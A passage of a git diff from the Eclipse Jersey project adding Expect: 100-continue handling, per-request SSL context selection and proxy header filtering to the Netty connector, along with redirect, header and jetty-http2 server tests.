     private static final String PRUNE_INACTIVE_POOL = "prune_inactive_pool";
     private static final String READ_TIMEOUT_HANDLER = "read_timeout_handler";
     private static final String REQUEST_HANDLER = "request_handler";
+    private static final String EXPECT_100_CONTINUE_HANDLER = "expect_100_continue_handler";
 
     NettyConnector(Client client) {
 
@@ -189,6 +193,9 @@
     protected void execute(final ClientRequest jerseyRequest, final Set<URI> redirectUriHistory,
             final CompletableFuture<ClientResponse> responseAvailable) {
         Integer timeout = jerseyRequest.resolveProperty(ClientProperties.READ_TIMEOUT, 0);
+        final Integer expect100ContinueTimeout = jerseyRequest.resolveProperty(
+                NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT,
+                NettyClientProperties.DEFAULT_EXPECT_100_CONTINUE_TIMEOUT_VALUE);
         if (timeout == null || timeout < 0) {
             throw new ProcessingException(LocalizationMessages.WRONG_READ_TIMEOUT(timeout));
         }
@@ -200,8 +207,10 @@
         int port = requestUri.getPort() != -1 ? requestUri.getPort() : "https".equals(requestUri.getScheme()) ? 443 : 80;
 
         try {
+            final SSLParamConfigurator sslConfig = SSLParamConfigurator.builder()
+                    .request(jerseyRequest).setSNIAlways(true).build();
 
-            String key = requestUri.getScheme() + "://" + host + ":" + port;
+            String key = requestUri.getScheme() + "://" + sslConfig.getSNIHostName() + ":" + port;
             ArrayList<Channel> conns;
             synchronized (connections) {
                conns = connections.get(key);
@@ -231,9 +240,8 @@
                }
             }
 
-            Integer connectTimeout = jerseyRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, 0);
-
             if (chan == null) {
+               Integer connectTimeout = jerseyRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, 0);
                Bootstrap b = new Bootstrap();
 
                // http proxy
@@ -270,7 +278,7 @@
                      if ("https".equals(requestUri.getScheme())) {
                          // making client authentication optional for now; it could be extracted to configurable property
                          JdkSslContext jdkSslContext = new JdkSslContext(
-                                 client.getSslContext(),
+                                 getSslContext(client, jerseyRequest),
                                  true,
                                  (Iterable) null,
                                  IdentityCipherSuiteFilter.INSTANCE,
@@ -281,8 +289,7 @@
                          );
 
                          final int port = requestUri.getPort();
-                         final SSLParamConfigurator sslConfig = SSLParamConfigurator.builder()
-                                 .request(jerseyRequest).setSNIAlways(true).build();
+
                          final SslHandler sslHandler = jdkSslContext.newHandler(
                                  ch.alloc(), sslConfig.getSNIHostName(), port <= 0 ? 443 : port, executorService
                          );
@@ -320,9 +327,11 @@
             final Channel ch = chan;
             JerseyClientHandler clientHandler =
                     new JerseyClientHandler(jerseyRequest, responseAvailable, responseDone, redirectUriHistory, this);
+            final JerseyExpectContinueHandler expect100ContinueHandler = new JerseyExpectContinueHandler();
             // read timeout makes sense really as an inactivity timeout
             ch.pipeline().addLast(READ_TIMEOUT_HANDLER,
                                   new IdleStateHandler(0, 0, timeout, TimeUnit.MILLISECONDS));
+            ch.pipeline().addLast(EXPECT_100_CONTINUE_HANDLER, expect100ContinueHandler);
             ch.pipeline().addLast(REQUEST_HANDLER, clientHandler);
 
             responseDone.whenComplete((_r, th) -> {
@@ -375,11 +384,13 @@
             }
 
             // headers
-            setHeaders(jerseyRequest, nettyRequest.headers());
+            if (!jerseyRequest.hasEntity()) {
+                setHeaders(jerseyRequest, nettyRequest.headers(), false);
 
-            // host header - http 1.1
-            if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) {
-                nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost());
+                // host header - http 1.1
+                if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) {
+                    nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost());
+                }
             }
 
             if (jerseyRequest.hasEntity()) {
@@ -407,23 +418,35 @@
 //                      // Set later after the entity is "written"
 //                      break;
                 }
+                try {
+                    expect100ContinueHandler.processExpect100ContinueRequest(nettyRequest, jerseyRequest,
+                            ch, expect100ContinueTimeout);
+                } catch (ExecutionException e) {
+                    responseDone.completeExceptionally(e);
+                } catch (TimeoutException e) {
+                    //Expect:100-continue allows timeouts by the spec
+                    //just removing the pipeline from processing
+                    if (ch.pipeline().context(JerseyExpectContinueHandler.class) != null) {
+                        ch.pipeline().remove(EXPECT_100_CONTINUE_HANDLER);
+                    }
+                }
 
-                // Send the HTTP request.
-                entityWriter.writeAndFlush(nettyRequest);
+                final CountDownLatch headersSet = new CountDownLatch(1);
+                final CountDownLatch contentLengthSet = new CountDownLatch(1);
 
                 jerseyRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
                     @Override
                     public OutputStream getOutputStream(int contentLength) throws IOException {
+                        replaceHeaders(jerseyRequest, nettyRequest.headers()); // WriterInterceptor changes
+                        if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) {
+                            nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost());
+                        }
+                        headersSet.countDown();
+
                         return entityWriter.getOutputStream();
                     }
                 });
 
-                if (HttpUtil.isTransferEncodingChunked(nettyRequest)) {
-                    entityWriter.write(new HttpChunkedInput(entityWriter.getChunkedInput()));
-                } else {
-                    entityWriter.write(entityWriter.getChunkedInput());
-                }
-
                 executorService.execute(new Runnable() {
                     @Override
                     public void run() {
@@ -434,9 +457,8 @@
                             jerseyRequest.writeEntity();
 
                             if (entityWriter.getType() == NettyEntityWriter.Type.DELAYED) {
-                                replaceHeaders(jerseyRequest, nettyRequest.headers()); // WriterInterceptor changes
                                 nettyRequest.headers().set(HttpHeaderNames.CONTENT_LENGTH, entityWriter.getLength());
-                                entityWriter.flush();
+                                contentLengthSet.countDown();
                             }
 
                         } catch (IOException e) {
@@ -445,9 +467,23 @@
                     }
                 });
 
-                if (entityWriter.getType() != NettyEntityWriter.Type.DELAYED) {
-                    entityWriter.flush();
+                headersSet.await();
+                if (!expect100ContinueHandler.isExpected()) {
+                    // Send the HTTP request. Expect:100-continue processing is not applicable
+                    // in this case.
+                    entityWriter.writeAndFlush(nettyRequest);
                 }
+
+                if (HttpUtil.isTransferEncodingChunked(nettyRequest)) {
+                    entityWriter.write(new HttpChunkedInput(entityWriter.getChunkedInput()));
+                } else {
+                    entityWriter.write(entityWriter.getChunkedInput());
+                }
+
+                if (entityWriter.getType() == NettyEntityWriter.Type.DELAYED) {
+                    contentLengthSet.await();
+                }
+                entityWriter.flush();
             } else {
                 // Send the HTTP request.
                 ch.writeAndFlush(nettyRequest);
@@ -458,6 +494,11 @@
         }
     }
 
+    private SSLContext getSslContext(Client client, ClientRequest request) {
+        Supplier<SSLContext> supplier = request.resolveProperty(ClientProperties.SSL_CONTEXT_SUPPLIER, Supplier.class);
+        return supplier == null ? client.getSslContext() : supplier.get();
+    }
+
     private String buildPathWithQueryParameters(URI requestUri) {
         if (requestUri.getRawQuery() != null) {
             return String.format("%s?%s", requestUri.getRawPath(), requestUri.getRawQuery());
@@ -510,7 +551,8 @@
 
     private static ProxyHandler createProxyHandler(ClientRequest jerseyRequest, SocketAddress proxyAddr,
                                                    String userName, String password, long connectTimeout) {
-        HttpHeaders httpHeaders = setHeaders(jerseyRequest, new DefaultHttpHeaders());
+        final Boolean filter = jerseyRequest.resolveProperty(NettyClientProperties.FILTER_HEADERS_FOR_PROXY, Boolean.TRUE);
+        HttpHeaders httpHeaders = setHeaders(jerseyRequest, new DefaultHttpHeaders(), Boolean.TRUE.equals(filter));
 
         ProxyHandler proxy = userName == null ? new HttpProxyHandler(proxyAddr, httpHeaders)
                 : new HttpProxyHandler(proxyAddr, userName, password, httpHeaders);
@@ -521,9 +563,12 @@
         return proxy;
     }
 
-    private static HttpHeaders setHeaders(ClientRequest jerseyRequest, HttpHeaders headers) {
+    private static HttpHeaders setHeaders(ClientRequest jerseyRequest, HttpHeaders headers, boolean proxyOnly) {
         for (final Map.Entry<String, List<String>> e : jerseyRequest.getStringHeaders().entrySet()) {
-            headers.add(e.getKey(), e.getValue());
+            final String key = e.getKey();
+            if (!proxyOnly || JerseyClientHandler.ProxyHeaders.INSTANCE.test(key) || additionalProxyHeadersToKeep(key)) {
+                headers.add(key, e.getValue());
+            }
         }
         return headers;
     }
@@ -534,4 +579,11 @@
         }
         return headers;
     }
+
+    /*
+     * Keep all X- headers (X-Forwarded-For,...) for proxy
+     */
+    private static boolean additionalProxyHeadersToKeep(String key) {
+        return key.length() > 2 && (key.charAt(0) == 'x' || key.charAt(0) == 'X') && (key.charAt(1) == '-');
+    }
 }
diff --git a/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties b/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties
index ba91c4f..7d6f9fc 100644
--- a/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties
+++ b/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,3 +22,4 @@
 redirect.error.determining.location="Error determining redirect location: ({0})."
 redirect.infinite.loop="Infinite loop in chained redirects detected."
 redirect.limit.reached="Max chained redirect limit ({0}) exceeded."
+unexpected.value.for.expect.100.continue.statuses=Unexpected value: ("{0}").
diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java
index a01c04d..963dd86 100644
--- a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java
+++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java
@@ -51,12 +51,10 @@
     public static class BufferedTestResource {
         @POST
         public String post(@Context HttpHeaders headers, String entity) {
-            System.out.println("Remote");
             String ret = headers.getHeaderString(HEADER_1)
                     + headers.getHeaderString(HEADER_2)
                     + headers.getHeaderString(HEADER_3)
                     + entity;
-            System.out.println(ret);
             return ret;
         }
     }
diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java
index 2eb3658..ee752a5 100644
--- a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java
+++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.netty.connector;
 
+import jakarta.ws.rs.GET;
 import jakarta.ws.rs.HeaderParam;
 import jakarta.ws.rs.POST;
 import jakarta.ws.rs.Path;
@@ -46,6 +47,15 @@
             assertEquals("client", xClient);
             return "POST";
         }
+
+        @GET
+        public String get(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter) {
+            assertEquals("client", xClient);
+            return "GET";
+        }
     }
 
     @Override
@@ -66,4 +76,13 @@
         assertTrue(response.hasEntity());
         response.close();
     }
+
+    @Test
+    public void testGet() {
+        Response response = target("test").request().header("X-CLIENT", "client").get();
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+        response.close();
+    }
 }
diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/RedirectHeadersTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/RedirectHeadersTest.java
new file mode 100644
index 0000000..dd56e74
--- /dev/null
+++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/RedirectHeadersTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import io.netty.handler.codec.http.HttpHeaderNames;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.logging.Logger;
+
+public class RedirectHeadersTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(RedirectHeadersTest.class.getName());
+    private static final String TEST_URL = "http://localhost:%d/test";
+    private static final AtomicReference<String> TEST_URL_REF = new AtomicReference<>();
+    private static final String ENTITY = "entity";
+
+    @BeforeEach
+    public void before() {
+        final String url = String.format(TEST_URL, getPort());
+        TEST_URL_REF.set(url);
+    }
+
+    @Path("/test")
+    public static class RedirectResource {
+        @GET
+        public String get(@QueryParam("value") String value) {
+            return "GET" + value;
+        }
+
+        @POST
+        public String echo(@QueryParam("value") String value, String entity) {
+            return entity + value;
+        }
+
+        @GET
+        @Path("headers2")
+        public String headers(@Context HttpHeaders headers) {
+            String encoding = headers.getHeaderString(HttpHeaders.CONTENT_ENCODING);
+            String auth = headers.getHeaderString(HttpHeaderNames.PROXY_AUTHORIZATION.toString());
+            return encoding + ":" + auth;
+        }
+
+        @POST
+        @Path("301")
+        public Response redirect301(String entity) {
+            return Response.status(Response.Status.MOVED_PERMANENTLY)
+                    .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=301"))
+                    .build();
+        }
+
+        @POST
+        @Path("302")
+        public Response redirect302(String entity) {
+            return Response.status(Response.Status.FOUND)
+                    .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=302"))
+                    .build();
+        }
+
+        @POST
+        @Path("307")
+        public Response redirect307(String entity) {
+            return Response.status(Response.Status.TEMPORARY_REDIRECT)
+                    .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get()  + "?value=307"))
+                    .build();
+        }
+
+        @POST
+        @Path("308")
+        public Response redirectHeaders(String entity) {
+            return Response.status(308)
+                    .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=308"))
+                    .build();
+        }
+
+
+        @POST
+        @Path("headers1")
+        public Response redirect308(String whatever) {
+            return Response.status(301).header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "/headers2")).build();
+        }
+
+        @GET
+        @Path("relative")
+        public Response relative() {
+            return Response.status(301).header(HttpHeaders.LOCATION, URI.create("/test/headers2").toASCIIString()).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(RedirectResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        config.property(ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_DISABLED, Boolean.TRUE);
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new NettyConnectorProvider());
+    }
+
+    @Test
+    void testPost() {
+        testPost("301");
+        testPost("302");
+        testPost("307");
+        testPost("308");
+    }
+
+    @Test
+    void testGet() {
+        Assertions.assertEquals("GET301", testGet("301"));
+        Assertions.assertEquals("GET302", testGet("302"));
+        Assertions.assertEquals(ENTITY + "307", testGet("307"));
+        Assertions.assertEquals(ENTITY + "308", testGet("308"));
+    }
+
+    @Test
+    void testHeaders() {
+        MultivaluedMap<String, Object> headers = new MultivaluedHashMap<>();
+        headers.add(HttpHeaders.CONTENT_ENCODING, "gzip");
+        headers.add(HttpHeaderNames.PROXY_AUTHORIZATION.toString(), "basic aGVsbG86d29ybGQ=");
+        try (Response response = target("test")
+                .property(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, false)
+                .path("headers1").request().headers(headers).post(Entity.entity(ENTITY, MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+            Assertions.assertEquals("null:null", response.readEntity(String.class));
+        }
+    }
+
+    @Test
+    void testRelative() {
+        MultivaluedMap<String, Object> headers = new MultivaluedHashMap<>();
+        try (Response response = target("test")
+                .path("relative").request().headers(headers).get()) {
+            Assertions.assertEquals(200, response.getStatus());
+            Assertions.assertEquals("null:null", response.readEntity(String.class));
+        }
+    }
+
+    void testPost(String status) {
+        try (Response response = target("test").path(status).request().post(Entity.entity(ENTITY, MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+            Assertions.assertEquals(ENTITY + status, response.readEntity(String.class));
+        }
+    }
+
+    String testGet(String status) {
+        try (Response response = target("test")
+                .property(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, false)
+                .path(status).request().post(Entity.entity(ENTITY, MediaType.TEXT_PLAIN_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+            return response.readEntity(String.class);
+        }
+    }
+}
diff --git a/connectors/pom.xml b/connectors/pom.xml
index deb7a0a..49c9ecf 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -40,6 +40,7 @@
         <module>helidon-connector</module>
         <module>jdk-connector</module>
         <module>jetty-connector</module>
+        <module>jetty-http2-connector</module>
         <module>netty-connector</module>
     </modules>
 
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
index 472d5ed..01e9e34 100644
--- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
@@ -218,7 +218,7 @@
 
 
     private URI updatePort(URI uri) {
-        return UriBuilder.fromUri(httpsUri).port(server.getAddress().getPort()).build();
+        return UriBuilder.fromUri(uri).port(server.getAddress().getPort()).build();
     }
 
     @AfterEach
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
index 5b51a2f..31b8f93 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -125,7 +125,7 @@
         // the invocation of sendError as on some Servlet implementations
         // modification of the response headers will have no effect
         // after the invocation of sendError.
-        final MultivaluedMap<String, String> headers = getResponseContext().getStringHeaders();
+        final MultivaluedMap<String, String> headers = responseContext.getStringHeaders();
         for (final Map.Entry<String, List<String>> e : headers.entrySet()) {
             final Iterator<String> it = e.getValue().iterator();
             if (!it.hasNext()) {
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
index 3901a58..e5a083f 100644
--- a/containers/jetty-http2/pom.xml
+++ b/containers/jetty-http2/pom.xml
@@ -195,7 +195,7 @@
                         <artifactId>maven-compiler-plugin</artifactId>
                         <configuration>
                             <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
+                                <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
                             </testExcludes>
                         </configuration>
                     </plugin>
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
index 068ea4c..b03f409 100644
--- a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -30,7 +30,6 @@
 import org.glassfish.jersey.jetty.JettyHttpContainer;
 import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
 import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
 import org.glassfish.jersey.server.ContainerFactory;
 import org.glassfish.jersey.server.ResourceConfig;
 
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
new file mode 100644
index 0000000..6134d03
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJettyServerTester {
+
+    private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
+
+    public static final String CONTEXT = "";
+    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i <= 0) {
+                    throw new NumberFormatException("Value not positive.");
+                }
+                return i;
+            } catch (NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid positive integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+        return DEFAULT_PORT;
+    }
+
+    private final int getPort(RuntimeType runtimeType) {
+        switch (runtimeType) {
+            case SERVER:
+                return getPort();
+            case CLIENT:
+                return server.getURI().getPort();
+            default:
+                throw new IllegalStateException("Unexpected runtime type");
+        }
+    }
+
+    private volatile Server server;
+
+    public UriBuilder getUri() {
+        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+    }
+
+    public void startServer(Class... resources) {
+        ResourceConfig config = new ResourceConfig(resources);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final URI baseUri = getBaseUri();
+        server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+    }
+
+    public void startServer(ResourceConfig config) {
+        final URI baseUri = getBaseUri();
+        server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+    }
+
+    public URI getBaseUri() {
+        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+    }
+
+    public void stopServer() {
+        try {
+            server.stop();
+            server = null;
+            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterEach
+    public void tearDown() {
+        if (server != null) {
+            stopServer();
+        }
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
new file mode 100644
index 0000000..ac1ebb5
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJettyServerTester {
+
+    @Path("/async")
+    @SuppressWarnings("VoidMethodAnnotatedWithGET")
+    public static class AsyncResource {
+
+        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+        @GET
+        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(5000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(final AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+                            .build());
+                }
+            });
+            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(7000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("multiple-invocations")
+        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+            INVOCATION_COUNT.incrementAndGet();
+
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    asyncResponse.resume("OK");
+                }
+            }).start();
+        }
+    }
+
+    private Client client;
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        startServer(AsyncResource.class);
+        client = ClientBuilder.newClient();
+    }
+
+    @Override
+    @AfterEach
+    public void tearDown() {
+        super.tearDown();
+        client = null;
+    }
+
+    @Test
